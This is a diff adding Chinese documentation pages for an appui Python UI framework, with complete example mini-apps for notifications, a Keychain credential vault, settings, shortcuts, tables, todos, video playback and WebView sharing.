notification 权限、本地提醒、取消操作和 storage 表单偏好。

+
+ +
+

演示 notification 请求权限与 schedule,并用 storage 持久化表单偏好。

+

#预期效果

+

运行后会出现通知提醒表单,权限、延迟分钟、本地提醒和取消操作都有可见反馈。

+

#完整示例

+
+
+ python +
+
+
import appui
+import notification
+import storage
+
+STORE_KEY = "reminder_demo_settings"
+
+state = appui.State(
+    title="喝水提醒",
+    body="该休息一下了",
+    minutes=30,
+    sound=True,
+    status="未安排",
+    loaded=False,
+)
+
+
+def load_saved_settings():
+    if state.loaded:
+        return
+    state.loaded = True
+    saved = storage.get_json(STORE_KEY, default={}) or {}
+    state.title = saved.get("title", state.title)
+    state.body = saved.get("body", state.body)
+    state.minutes = int(saved.get("minutes", state.minutes))
+    state.sound = bool(saved.get("sound", state.sound))
+
+
+def save_settings():
+    storage.set_json(STORE_KEY, {
+        "title": state.title,
+        "body": state.body,
+        "minutes": state.minutes,
+        "sound": state.sound,
+    })
+
+
+def set_title(value):
+    state.title = str(value)
+    save_settings()
+
+
+def set_body(value):
+    state.body = str(value)
+    save_settings()
+
+
+def set_minutes(value):
+    state.minutes = int(value)
+    save_settings()
+
+
+def set_sound(value):
+    state.sound = bool(value)
+    save_settings()
+
+
+def schedule_reminder():
+    perm = notification.request_permission()
+    if not isinstance(perm, dict) or not perm.get("granted"):
+        state.status = "通知权限未开启"
+        return
+
+    delay = max(1, int(state.minutes)) * 60
+    result = notification.schedule(
+        "demo-reminder",
+        state.title,
+        state.body,
+        delay=delay,
+        sound=state.sound,
+    )
+    if isinstance(result, dict) and result.get("success"):
+        state.status = f"已安排:{state.minutes} 分钟后提醒"
+    else:
+        state.status = f"安排失败:{result}"
+
+
+def cancel_reminder():
+    notification.remove_pending("demo-reminder")
+    state.status = "已取消待发提醒"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form(
+            [
+                appui.Section(
+                    [
+                        appui.TextField("标题", text=state.title, on_change=set_title),
+                        appui.TextField("内容", text=state.body, on_change=set_body),
+                        appui.Stepper(
+                            "延迟分钟",
+                            value=state.minutes,
+                            minimum=1,
+                            maximum=240,
+                            on_change=set_minutes,
+                        ),
+                        appui.Toggle("声音", is_on=state.sound, on_change=set_sound),
+                    ],
+                    header="提醒内容",
+                ),
+                appui.Section(
+                    [
+                        appui.Button("安排提醒", action=schedule_reminder)
+                            .button_style("bordered_prominent"),
+                        appui.Button("取消提醒", action=cancel_reminder)
+                            .button_style("bordered"),
+                        appui.LabeledContent("状态", value=state.status),
+                    ],
+                    header="操作",
+                ),
+            ]
+        ).navigation_title("通知提醒")
+    ).on_appear(load_saved_settings)
+
+
+appui.run(body, state=state, presentation="fullscreen_with_close")
+
+

#关键技巧

+
  • request_permission(),再用稳定 identifier 调用 schedule / remove_pending 便于覆盖或取消。
  • request_permission() 返回 dict,无需 json.loads
  • 用户偏好用 storage.get_json / set_jsonon_appearon_change 中同步。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-cookbook-secure-vault/index.html b/docs/docs/pages/appui-cookbook-secure-vault/index.html new file mode 100644 index 0000000..f40c440 --- /dev/null +++ b/docs/docs/pages/appui-cookbook-secure-vault/index.html @@ -0,0 +1,424 @@ + + + + + + 安全凭据库 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

安全凭据库

+

Keychain 存储敏感字段,读取前使用系统验证。

+
+ +
+

演示 keychain 存储敏感字段,读取前用 biometric.authenticate_with_passcode 校验。

+

#预期效果

+

运行后会出现安全凭据库,敏感字段保存到 Keychain,读取前会先走系统验证。

+

#完整示例

+
+
+ python +
+
+
import appui
+import biometric
+import haptics
+import keychain
+
+state = appui.State(
+    service="pythonide.demo",
+    account="default",
+    secret="",
+    revealed="",
+    status="未保存",
+    auth_type="",
+)
+
+
+def update_service(value):
+    state.service = value
+
+
+def update_account(value):
+    state.account = value
+
+
+def update_secret(value):
+    state.secret = value
+
+
+def refresh_auth_type():
+    state.auth_type = biometric.biometric_type()
+
+
+def save_secret():
+    if not state.service.strip() or not state.account.strip() or not state.secret:
+        state.status = "请填写服务名、账号和 Token"
+        haptics.notification("warning")
+        return
+    keychain.set_password(state.service.strip(), state.account.strip(), state.secret)
+    state.batch_update(status="已保存到 Keychain", secret="", revealed="")
+    haptics.notification("success")
+
+
+def reveal_secret():
+    result = biometric.authenticate_with_passcode("验证身份以读取 Keychain 凭据")
+    if not result.get("success"):
+        state.status = f"验证失败:{result.get('error', 'canceled')}"
+        haptics.notification("error")
+        return
+    value = keychain.get_password(state.service.strip(), state.account.strip())
+    if value is None:
+        state.batch_update(status="未找到对应凭据", revealed="")
+        haptics.notification("warning")
+        return
+    state.batch_update(status="读取成功", revealed=value)
+    haptics.notification("success")
+
+
+def delete_secret():
+    keychain.delete_password(state.service.strip(), state.account.strip())
+    state.batch_update(status="已删除", secret="", revealed="")
+    haptics.notification("success")
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form(
+            [
+                appui.Section(
+                    [
+                        appui.LabeledContent("当前验证方式", value=state.auth_type or "未知"),
+                        appui.Button("刷新验证能力", action=refresh_auth_type),
+                    ],
+                    header="设备验证",
+                    footer="读取敏感凭据前使用系统验证;不要自己实现密码弹窗替代系统验证。",
+                ),
+                appui.Section(
+                    [
+                        appui.TextField("服务名", text=state.service, on_change=update_service),
+                        appui.TextField("账号", text=state.account, on_change=update_account),
+                        appui.SecureField("Token 或密码", text=state.secret, on_change=update_secret),
+                    ],
+                    header="凭据",
+                ),
+                appui.Section(
+                    [
+                        appui.Button("保存到 Keychain", action=save_secret)
+                            .button_style("bordered_prominent"),
+                        appui.Button("验证并读取", action=reveal_secret),
+                        appui.Button("删除", action=delete_secret).foreground_color("systemRed"),
+                    ],
+                    header="操作",
+                ),
+                appui.Section(
+                    [
+                        appui.LabeledContent("状态", value=state.status),
+                        appui.Text(state.revealed or "验证后显示读取结果")
+                            .font("callout")
+                            .foreground_color("secondaryLabel"),
+                    ],
+                    header="结果",
+                ),
+            ]
+        ).navigation_title("凭据库")
+    )
+
+
+appui.run(body, state=state, presentation="sheet")
+
+

#关键技巧

+
  • 敏感字符串进 keychain,不要写入 storage
  • 写入/读取/删除放在按钮动作里;get_password 返回 None 时要能恢复 UI 状态。
  • 录入用 SecureField;展示前走系统生物识别/密码验证。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-cookbook-settings/index.html b/docs/docs/pages/appui-cookbook-settings/index.html new file mode 100644 index 0000000..ff651de --- /dev/null +++ b/docs/docs/pages/appui-cookbook-settings/index.html @@ -0,0 +1,392 @@ + + + + + + 示例:设置表单 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

示例:设置表单

+

原生 Form、Section、输入控件和保存按钮。

+
+ +
+

适合做偏好设置、账号资料、功能开关页。表单使用 Form + Section,保存按钮放在 toolbar,所有输入控件都绑定命名回调。

+

#预期效果

+

运行后会出现原生设置表单,修改字段会显示未保存状态,点击保存后状态反馈更新。

+

#完整代码

+
+
+ python +
+
+
import appui
+
+state = appui.State(
+    name="Ada",
+    notifications=True,
+    theme="System",
+    volume=45,
+    last_saved="Never",
+)
+
+
+def set_name(value):
+    state.name = value
+
+
+def set_notifications(value):
+    state.notifications = value
+
+
+def set_theme(value):
+    state.theme = value
+
+
+def set_volume(value):
+    state.volume = value
+
+
+def save_settings():
+    state.last_saved = f"Saved for {state.name}"
+
+
+def body():
+    account = appui.Section("Account", [
+        appui.TextField("Display name", text=state.name, on_change=set_name),
+        appui.Toggle("Notifications", is_on=state.notifications, on_change=set_notifications),
+    ])
+    appearance = appui.Section("Appearance", [
+        appui.Picker(
+            "Theme",
+            selection=state.theme,
+            options=["System", "Light", "Dark"],
+            on_change=set_theme,
+        ).picker_style("segmented"),
+        appui.Slider(
+            value=state.volume,
+            minimum=0,
+            maximum=100,
+            step=5,
+            label=f"Volume {state.volume}",
+            on_change=set_volume,
+        ),
+    ], footer="使用语义色,页面会自动适配深色模式。")
+
+    summary = appui.Section("Summary", [
+        appui.LabeledContent("Theme", value=state.theme),
+        appui.LabeledContent("Last saved", value=state.last_saved),
+    ])
+
+    form = appui.Form([account, appearance, summary]).navigation_title("Settings")
+
+    return appui.NavigationStack(
+        form.toolbar([
+            appui.ToolbarItem(
+                placement="navigation_bar_trailing",
+                content=appui.Button(
+                    action=save_settings,
+                    content=appui.Label("Save", system_image="checkmark"),
+                ).button_style("bordered_prominent"),
+            )
+        ])
+    )
+
+
+appui.run(body, state=state)
+
+

#可复用点

+
  • 设置页默认用 Form + Section
  • 输入控件的 on_change 传命名函数。
  • 保存动作放在 ToolbarItem 里,并且点击后要有可见状态变化。
  • 需要分段选择时用 .picker_style("segmented"),不要手写一排按钮代替。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-cookbook-shortcuts-launcher/index.html b/docs/docs/pages/appui-cookbook-shortcuts-launcher/index.html new file mode 100644 index 0000000..b452c44 --- /dev/null +++ b/docs/docs/pages/appui-cookbook-shortcuts-launcher/index.html @@ -0,0 +1,447 @@ + + + + + + 快捷指令启动器 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

快捷指令启动器

+

运行快捷指令、打开 URL、系统设置入口和复制链接。

+
+ +
+

演示 shortcuts.run_shortcutopen_urlopen_settings 与自动化入口列表。

+

#预期效果

+

运行后会出现快捷指令启动器,运行快捷指令、打开 URL、复制链接和状态反馈都在列表中完成。

+

#完整示例

+
+
+ python +
+
+
import appui
+import clipboard
+import haptics
+import shortcuts
+
+state = appui.State(
+    shortcut_name="",
+    url="https://apple.com",
+    status="等待操作",
+    entries=[
+        {"title": "打开 Apple", "url": "https://apple.com", "icon": "safari.fill"},
+        {"title": "打开 Pythonista Scheme", "url": "pythonista://", "icon": "terminal.fill"},
+        {
+            "title": "复制快捷指令库链接",
+            "url": "https://www.icloud.com/shortcuts/",
+            "icon": "doc.on.doc.fill",
+        },
+    ],
+)
+
+
+def set_shortcut_name(value):
+    state.shortcut_name = value
+
+
+def set_url(value):
+    state.url = value
+
+
+def run_named_shortcut():
+    name = state.shortcut_name.strip()
+    if not name:
+        state.status = "请输入快捷指令名称"
+        haptics.notification("warning")
+        return
+    ok = shortcuts.run_shortcut(name)
+    state.status = f"已发起:{name}" if ok else f"无法运行:{name}"
+    haptics.notification("success" if ok else "error")
+
+
+def open_current_url():
+    url = state.url.strip()
+    if not url:
+        state.status = "请输入 URL"
+        haptics.notification("warning")
+        return
+    ok = shortcuts.open_url(url)
+    state.status = f"已打开:{url}" if ok else f"无法打开:{url}"
+    haptics.notification("success" if ok else "error")
+
+
+def open_settings():
+    ok = shortcuts.open_settings()
+    state.status = "已打开系统设置" if ok else "无法打开系统设置"
+
+
+def copy_url(url):
+    clipboard.set(url)
+    state.status = "已复制链接"
+    haptics.selection()
+
+
+def entry_row(item):
+    def open_current():
+        shortcuts.open_url(item["url"])
+
+    def copy_current():
+        copy_url(item["url"])
+
+    return appui.HStack(
+        [
+            appui.Image(system_name=item["icon"]).foreground_color("systemBlue"),
+            appui.VStack(
+                [
+                    appui.Text(item["title"]).font("headline"),
+                    appui.Text(item["url"]).font("caption").foreground_color("secondaryLabel"),
+                ],
+                alignment="leading",
+            ),
+            appui.Spacer(),
+            appui.Button("打开", action=open_current),
+            appui.Button("复制", action=copy_current),
+        ],
+        spacing=10,
+    )
+
+
+def entry_key(item):
+    return item["url"]
+
+
+def body():
+    return appui.NavigationStack(
+        appui.List(
+            [
+                appui.Section(
+                    [
+                        appui.TextField(
+                            "快捷指令名称",
+                            text=state.shortcut_name,
+                            on_change=set_shortcut_name,
+                        ),
+                        appui.Button("运行快捷指令", action=run_named_shortcut)
+                            .button_style("bordered_prominent"),
+                    ],
+                    header="快捷指令",
+                ),
+                appui.Section(
+                    [
+                        appui.TextField("URL 或 Scheme", text=state.url, on_change=set_url),
+                        appui.Button("打开 URL", action=open_current_url),
+                        appui.Button("打开当前 App 设置", action=open_settings),
+                    ],
+                    header="系统入口",
+                ),
+                appui.Section(
+                    [appui.ForEach(state.entries, entry_row, key=entry_key)],
+                    header="自动化入口",
+                ),
+                appui.Section(
+                    [appui.LabeledContent("状态", value=state.status)],
+                    header="结果",
+                ),
+            ]
+        ).navigation_title("自动化")
+    )
+
+
+appui.run(body, state=state, presentation="sheet")
+
+

#关键技巧

+
  • run_shortcut 只负责拉起快捷指令,不返回快捷指令的执行结果。
  • open_url / open_settings 放在按钮回调里,勿在 body() 构建时调用。
  • 用户输入的 URL 先 strip 再打开。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-cookbook-table-data-review/index.html b/docs/docs/pages/appui-cookbook-table-data-review/index.html new file mode 100644 index 0000000..932048e --- /dev/null +++ b/docs/docs/pages/appui-cookbook-table-data-review/index.html @@ -0,0 +1,435 @@ + + + + + + 表格数据审阅 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

表格数据审阅

+

Table、筛选、批量动作和 iPhone fallback。

+
+ +
+

演示 Table 多列展示与 Picker 在列表模式之间的切换,共用同一数据源。

+

#预期效果

+

运行后会出现可筛选的数据审核表,支持选择行、查看摘要,并在窄屏上退化为列表体验。

+

#适合场景

+
  • iPad 或横屏下需要多列查看的数据审核页。
  • 手机上需要保留列表模式作为窄屏降级。
+

#页面结构

+
区域结构作用
模式切换Picker + segmented在列表和表格之间切换。
列表模式List + ForEach + NavigationLink手机上查看详情。
表格模式TableiPad 上快速扫描多列数据。
+

#完整示例

+
+
+ python +
+
+
import appui
+
+state = appui.State(
+    mode="列表",
+    selected="",
+    rows=[
+        {"name": "TextField", "area": "输入", "status": "OK", "owner": "Form"},
+        {"name": "Slider", "area": "控制", "status": "OK", "owner": "Controls"},
+        {"name": "VideoPlayer", "area": "媒体", "status": "观察", "owner": "Media"},
+        {"name": "Table", "area": "数据", "status": "iPad 优先", "owner": "Data"},
+    ],
+)
+
+columns = [
+    {"title": "组件", "key": "name"},
+    {"title": "区域", "key": "area"},
+    {"title": "状态", "key": "status"},
+]
+
+
+def set_mode(value):
+    state.mode = value
+
+
+def select_row(row):
+    state.selected = f"{row.get('name', '')} / {row.get('status', '')}"
+
+
+def row_detail(row):
+    return appui.Form(
+        [
+            appui.Section(
+                [
+                    appui.LabeledContent("组件", value=row["name"]),
+                    appui.LabeledContent("区域", value=row["area"]),
+                    appui.LabeledContent("状态", value=row["status"]),
+                    appui.LabeledContent("负责人", value=row["owner"]),
+                ],
+                header="详情",
+            )
+        ]
+    ).navigation_title(row["name"])
+
+
+def row_key(row):
+    return row["name"]
+
+
+def row_link(row):
+    return appui.NavigationLink(
+        destination=row_detail(row),
+        label=appui.HStack(
+            [
+                appui.VStack(
+                    [
+                        appui.Text(row["name"]).font("headline"),
+                        appui.Text(row["area"]).font("caption").foreground_color("secondaryLabel"),
+                    ],
+                    alignment="leading",
+                ),
+                appui.Spacer(),
+                appui.Text(row["status"]).font("caption").foreground_color("systemBlue"),
+            ]
+        ),
+    )
+
+
+def list_mode():
+    return appui.List(
+        [
+            appui.Section("组件", [
+                appui.ForEach(
+                    state.rows,
+                    row_builder=row_link,
+                    key=row_key,
+                )
+            ])
+        ]
+    )
+
+
+def table_mode():
+    return appui.VStack(
+        [
+            appui.Table(data=state.rows, columns=columns, on_select=select_row).frame(height=260),
+            appui.Text(state.selected or "点选表格行查看选择结果")
+                .font("caption")
+                .foreground_color("secondaryLabel"),
+        ],
+        spacing=12,
+    ).padding()
+
+
+def body():
+    content = table_mode() if state.mode == "表格" else list_mode()
+    return appui.NavigationStack(
+        appui.VStack(
+            [
+                appui.Picker("显示方式", selection=state.mode, options=["列表", "表格"], on_change=set_mode)
+                    .picker_style("segmented")
+                    .padding(horizontal=16),
+                content,
+            ],
+            spacing=8,
+        ).navigation_title("数据审阅")
+    )
+
+
+appui.run(body, state=state, presentation="sheet")
+
+

#关键技巧

+
  • Tablecolumns 使用 {"title", "key"} 字典列表;data 为字典列表。
  • 手机窄屏可保留「列表」模式;on_select 接收选中行字典。
  • 表格与列表共用纯数据行,不把视图对象放进 state.rows
+

#失败路径

+
  • 表格选中后把结果写入 state.selected,否则用户不知道点选是否生效。
  • 如果业务数据为空,列表模式应显示 ContentUnavailableView,表格模式应显示说明文本。
+

#相关文档

+
文档用途
数据 APITableForEach 和动态数据。
列表指南列表行身份和空状态。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-cookbook-todo/index.html b/docs/docs/pages/appui-cookbook-todo/index.html new file mode 100644 index 0000000..c93950d --- /dev/null +++ b/docs/docs/pages/appui-cookbook-todo/index.html @@ -0,0 +1,414 @@ + + + + + + 示例:待办列表 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

示例:待办列表

+

原生列表、搜索、稳定 id 和行级按钮。

+
+ +
+

适合做任务清单、收藏列表、轻量消息列表。这个样板使用 List + Section + ForEach,支持搜索、新增、完成切换和删除。

+

#预期效果

+

运行后会出现可搜索的待办列表,支持新增、完成切换和滑动删除,行身份由 id 保持稳定。

+

#完整代码

+
+
+ python +
+
+
import appui
+
+state = appui.State(
+    query="",
+    next_id=4,
+    items=[
+        {"id": 1, "title": "Review layout", "done": False},
+        {"id": 2, "title": "Check interactions", "done": True},
+        {"id": 3, "title": "Polish examples", "done": False},
+    ],
+)
+
+
+def visible_items():
+    query = state.query.lower().strip()
+    if not query:
+        return list(state.items)
+    return [item for item in state.items if query in item["title"].lower()]
+
+
+def item_key(item):
+    return item["id"]
+
+
+def add_item():
+    item = {"id": state.next_id, "title": f"Task {state.next_id}", "done": False}
+    state.items = [item] + list(state.items)
+    state.next_id += 1
+
+
+def set_query(value):
+    state.query = value
+
+
+def toggle_by_id(item_id):
+    updated = []
+    for item in state.items:
+        if item["id"] == item_id:
+            updated.append({**item, "done": not item["done"]})
+        else:
+            updated.append(item)
+    state.items = updated
+
+
+def delete_by_id(item_id):
+    state.items = [item for item in state.items if item["id"] != item_id]
+
+
+def row_view(item):
+    def toggle_item():
+        toggle_by_id(item["id"])
+
+    def delete_item():
+        delete_by_id(item["id"])
+
+    title = item["title"]
+    symbol = "checkmark.circle.fill" if item["done"] else "circle"
+    color = "systemGreen" if item["done"] else "secondaryLabel"
+
+    return (
+        appui.Button(
+            action=toggle_item,
+            content=appui.HStack([
+                appui.Image(system_name=symbol).foreground_color(color),
+                appui.Text(title).frame(max_width=appui.infinity, alignment="leading"),
+            ], spacing=10),
+        )
+        .button_style("plain")
+        .swipe_actions(actions=[
+            appui.Button("Delete", action=delete_item, role="destructive")
+        ])
+    )
+
+
+def body():
+    rows = appui.ForEach(visible_items(), row_builder=row_view, key=item_key)
+    task_list = (
+        appui.List([
+            appui.Section(f"{len(visible_items())} tasks", [rows])
+        ])
+        .navigation_title("Todo")
+        .searchable(text=state.query, on_change=set_query)
+        .toolbar([
+            appui.ToolbarItem(
+                placement="navigation_bar_trailing",
+                content=appui.Button(action=add_item, content=appui.Image(system_name="plus")),
+            )
+        ])
+    )
+
+    return appui.NavigationStack(
+        task_list
+    )
+
+
+appui.run(body, state=state)
+
+

#可复用点

+
  • 搜索状态单独保存。
  • 行操作按 id 查找,不依赖筛选后的 index。
  • 动态列表替换整个 state.items,避免原地修改导致刷新语义不清。
  • 新增、切换、删除、搜索都有真实命名回调。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-cookbook-video-player/index.html b/docs/docs/pages/appui-cookbook-video-player/index.html new file mode 100644 index 0000000..30224e2 --- /dev/null +++ b/docs/docs/pages/appui-cookbook-video-player/index.html @@ -0,0 +1,510 @@ + + + + + + 视频播放器 MiniApp - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

视频播放器 MiniApp

+

VideoPlayer、片源搜索、播放状态和播放设置。

+
+ +
+

演示 appui.VideoPlayerTabView:播放页、可搜索片源列表与播放设置表单。

+

#预期效果

+

运行后会出现视频播放器页面,片源搜索、播放区域和播放设置保持分区清晰。

+

#完整示例

+
+
+ python +
+
+
import appui
+
+DEFAULT_SOURCES = [
+    {
+        "id": "sintel",
+        "title": "Sintel Trailer",
+        "url": "https://media.w3.org/2010/05/sintel/trailer.mp4",
+        "tag": "默认",
+    },
+    {
+        "id": "bbb",
+        "title": "Big Buck Bunny",
+        "url": (
+            "https://test-videos.co.uk/vids/bigbuckbunny/mp4/h264/720/"
+            "Big_Buck_Bunny_720_10s_1MB.mp4"
+        ),
+        "tag": "测试",
+    },
+]
+
+state = appui.State(
+    selected_id="sintel",
+    query="",
+    autoplay=False,
+    loop=False,
+    show_controls=True,
+    status="正在播放 Sintel Trailer",
+)
+
+
+def selected_source():
+    for item in DEFAULT_SOURCES:
+        if item["id"] == state.selected_id:
+            return item
+    return DEFAULT_SOURCES[0]
+
+
+def set_query(value):
+    state.query = str(value)
+
+
+def select_source(source_id):
+    item = next((row for row in DEFAULT_SOURCES if row["id"] == source_id), DEFAULT_SOURCES[0])
+    state.batch_update(selected_id=source_id, status=f"已切换到 {item['title']}")
+
+
+def toggle_autoplay(value):
+    state.batch_update(autoplay=bool(value), status="已更新自动播放设置")
+
+
+def toggle_loop(value):
+    state.batch_update(loop=bool(value), status="已更新循环播放设置")
+
+
+def toggle_controls(value):
+    state.batch_update(show_controls=bool(value), status="已更新控制条设置")
+
+
+def source_row(item):
+    def choose():
+        select_source(item["id"])
+
+    active = item["id"] == state.selected_id
+    icon = "play.circle.fill" if active else "play.circle"
+    return appui.Button(
+        action=choose,
+        content=appui.HStack(
+            [
+                appui.Image(system_name=icon).foreground_color("systemBlue"),
+                appui.VStack(
+                    [
+                        appui.Text(item["title"]).font("headline"),
+                        (
+                            appui.Text(item["url"])
+                            .font("caption")
+                            .foreground_color("secondaryLabel")
+                            .line_limit(1)
+                        ),
+                    ],
+                    alignment="leading",
+                    spacing=3,
+                ),
+                appui.Spacer(),
+                appui.Text(item["tag"]).font("caption").foreground_color("secondaryLabel"),
+            ],
+            spacing=10,
+        ),
+    )
+
+
+def filtered_sources():
+    q = state.query.strip().lower()
+    if not q:
+        return DEFAULT_SOURCES
+    return [
+        item for item in DEFAULT_SOURCES
+        if q in item["title"].lower() or q in item["url"].lower() or q in item["tag"].lower()
+    ]
+
+
+def source_key(item):
+    return item["id"]
+
+
+def source_list_rows():
+    sources = filtered_sources()
+    if not sources:
+        return [
+            appui.ContentUnavailableView(
+                "没有匹配片源",
+                system_image="magnifyingglass",
+                description="换个关键词,或清空搜索条件。",
+            )
+        ]
+    return [appui.ForEach(sources, row_builder=source_row, key=source_key)]
+
+
+def player_page():
+    item = selected_source()
+    player = appui.VideoPlayer(
+        url=item["url"],
+        autoplay=state.autoplay,
+        loop=state.loop,
+        show_controls=state.show_controls,
+        presentation="inline",
+        allows_fullscreen=True,
+        allows_pip=True,
+        allows_airplay=True,
+    ).frame(height=240)
+    details = appui.Form(
+        [
+            appui.Section(
+                [
+                    appui.LabeledContent("标题", value=item["title"]),
+                    appui.LabeledContent("标签", value=item["tag"]),
+                    appui.LabeledContent("状态", value=state.status),
+                    appui.Text(item["url"]).font("caption").foreground_color("secondaryLabel"),
+                ],
+                header="当前片源",
+            ),
+        ]
+    )
+    return appui.NavigationStack(
+        appui.VStack([player, details], spacing=0)
+            .navigation_title("播放器")
+    )
+
+
+def sources_page():
+    rows = source_list_rows()
+    return appui.NavigationStack(
+        appui.List([
+            appui.Section(
+                rows,
+                header="片源",
+                footer="点击片源会立即更新播放页。",
+            )
+        ])
+            .searchable(text=state.query, on_change=set_query)
+            .navigation_title("片源")
+    )
+
+
+def settings_page():
+    return appui.NavigationStack(
+        appui.Form(
+            [
+                appui.Section(
+                    [
+                        appui.Toggle("自动播放", is_on=state.autoplay, on_change=toggle_autoplay),
+                        appui.Toggle("循环播放", is_on=state.loop, on_change=toggle_loop),
+                        appui.Toggle("显示控制条", is_on=state.show_controls, on_change=toggle_controls),
+                    ],
+                    header="播放设置",
+                ),
+            ]
+        ).navigation_title("设置")
+    )
+
+
+def body():
+    return appui.TabView(
+        [
+            appui.Tab("播放", system_image="play.rectangle", tag=0, content=player_page()),
+            appui.Tab("片源", system_image="list.bullet", tag=1, content=sources_page()),
+            appui.Tab("设置", system_image="gearshape", tag=2, content=settings_page()),
+        ],
+        selection=0,
+    )
+
+
+appui.run(body, state=state, presentation="fullscreen_with_close")
+
+

#关键技巧

+
  • VStackVideoPlayer 固定在页面上方,下方再用 Form/List,避免把播放器塞进普通列表段落。
  • 片源列表用 List(...).searchable(...),动态行通过 ForEach(..., key=...) 保持稳定身份;无匹配时展示空状态。
  • 播放器、地图、WebView 这类大媒体视图固定在页面主区域,下方再放 Form/List 控件。
  • VideoPlayer 可配 presentationallows_fullscreenallows_pipallows_airplay 等。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-cookbook-webview-share-export/index.html b/docs/docs/pages/appui-cookbook-webview-share-export/index.html new file mode 100644 index 0000000..8aca4ad --- /dev/null +++ b/docs/docs/pages/appui-cookbook-webview-share-export/index.html @@ -0,0 +1,437 @@ + + + + + + WebView 与系统分享 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

WebView 与系统分享

+

WebView URL/HTML 预览、TextEditor 编辑和 ShareLink 分享。

+
+ +
+

演示 WebView(URL 与本地 HTML)、TextEditor 编辑与 ShareLink 分享文本。

+

#预期效果

+

运行后会出现 WebView 预览与分享页,编辑文本、生成预览和系统分享入口保持同步。

+

#完整示例

+
+
+ python +
+
+
import html
+
+import appui
+import haptics
+
+state = appui.State(
+    title="MiniApp 使用说明",
+    body_text="这里可以放 Markdown 转换后的说明、报告摘要或接口返回的富文本预览。",
+    preview_mode="本地 HTML",
+    status="可预览",
+)
+
+
+def set_title(value):
+    state.batch_update(title=value, status="内容已修改,预览会自动更新")
+
+
+def set_body(value):
+    state.batch_update(body_text=value, status="内容已修改,预览会自动更新")
+
+
+def set_mode(value):
+    state.batch_update(preview_mode=value, status=f"已切换到 {value}")
+
+
+def html_preview():
+    safe_title = html.escape(state.title)
+    safe_body = html.escape(state.body_text).replace("\n", "<br>")
+    return f"""
+    <html>
+    <head>
+      <meta name="viewport" content="width=device-width, initial-scale=1">
+      <style>
+        body {{ font: -apple-system-body; padding: 22px; background: #f7f7f7; color: #111; }}
+        article {{ background: white; border-radius: 16px; padding: 18px; }}
+        h1 {{ font-size: 26px; margin: 0 0 12px; }}
+        p {{ line-height: 1.45; }}
+      </style>
+    </head>
+    <body>
+      <article>
+        <h1>{safe_title}</h1>
+        <p>{safe_body}</p>
+      </article>
+    </body>
+    </html>
+    """
+
+
+def mark_ready():
+    state.status = "已生成预览"
+    haptics.notification("success")
+
+
+def native_file_export():
+    return f"{state.title}\n\n{state.body_text}"
+
+
+def preview_view():
+    if state.preview_mode == "网页 URL":
+        return appui.WebView(url="https://www.apple.com")
+    return appui.WebView(html=html_preview())
+
+
+def body():
+    share_text = native_file_export()
+    return appui.NavigationStack(
+        appui.TabView(
+            [
+                appui.Tab(
+                    "编辑",
+                    system_image="square.and.pencil",
+                    content=appui.Form(
+                        [
+                            appui.Section(
+                                [
+                                    appui.TextField("标题", text=state.title, on_change=set_title),
+                                    appui.TextEditor(
+                                        text=state.body_text,
+                                        on_change=set_body,
+                                    ).frame(height=160),
+                                    appui.Picker(
+                                        "预览来源",
+                                        selection=state.preview_mode,
+                                        options=["本地 HTML", "网页 URL"],
+                                        on_change=set_mode,
+                                    ),
+                                ],
+                                header="内容",
+                            ),
+                            appui.Section(
+                                [
+                                    appui.LabeledContent("状态", value=state.status),
+                                    (
+                                        appui.Button("生成预览", action=mark_ready)
+                                        .button_style("bordered_prominent")
+                                    ),
+                                    appui.ShareLink(
+                                        item=share_text,
+                                        subject=state.title,
+                                        message="来自 MiniApp",
+                                    ),
+                                ],
+                                header="操作",
+                            ),
+                        ]
+                    ),
+                ),
+                appui.Tab(
+                    "预览",
+                    system_image="safari",
+                    content=preview_view(),
+                ),
+            ]
+        ).navigation_title("网页预览")
+    )
+
+
+appui.run(body, state=state, presentation="sheet")
+
+

#关键技巧

+
  • WebView(url=...) 打开网页;WebView(html=...) 渲染本地 HTML 字符串。
  • HTML 放在普通 State 字段,不要把 WebView 实例放进状态。
  • MiniApp 内导出/分享优先 ShareLink(item=..., subject=..., message=...);设置类界面仍用原生 Form/List
  • 用户输入进入 HTML 前要用 html.escape,避免把正文当作原始 HTML 执行。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-guide-animation/index.html b/docs/docs/pages/appui-guide-animation/index.html new file mode 100644 index 0000000..f38986b --- /dev/null +++ b/docs/docs/pages/appui-guide-animation/index.html @@ -0,0 +1,497 @@ + + + + + + 动画 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

动画

+

animate、animation、transition、matched geometry 和 phase animator。

+
+ +
+

appui 提供两类动画能力:隐式动画.animation(type, value) 在依赖变化时插值)与 显式动画appui.animate(action, type) 包裹一次状态更新)。此外还有 过渡.transition)、变换.scale_effect.rotation_effect.rotation_3d_effect)、共享几何.matched_geometry_effect)、内容过渡.content_transition)与 相位动画.phase_animator)。

+

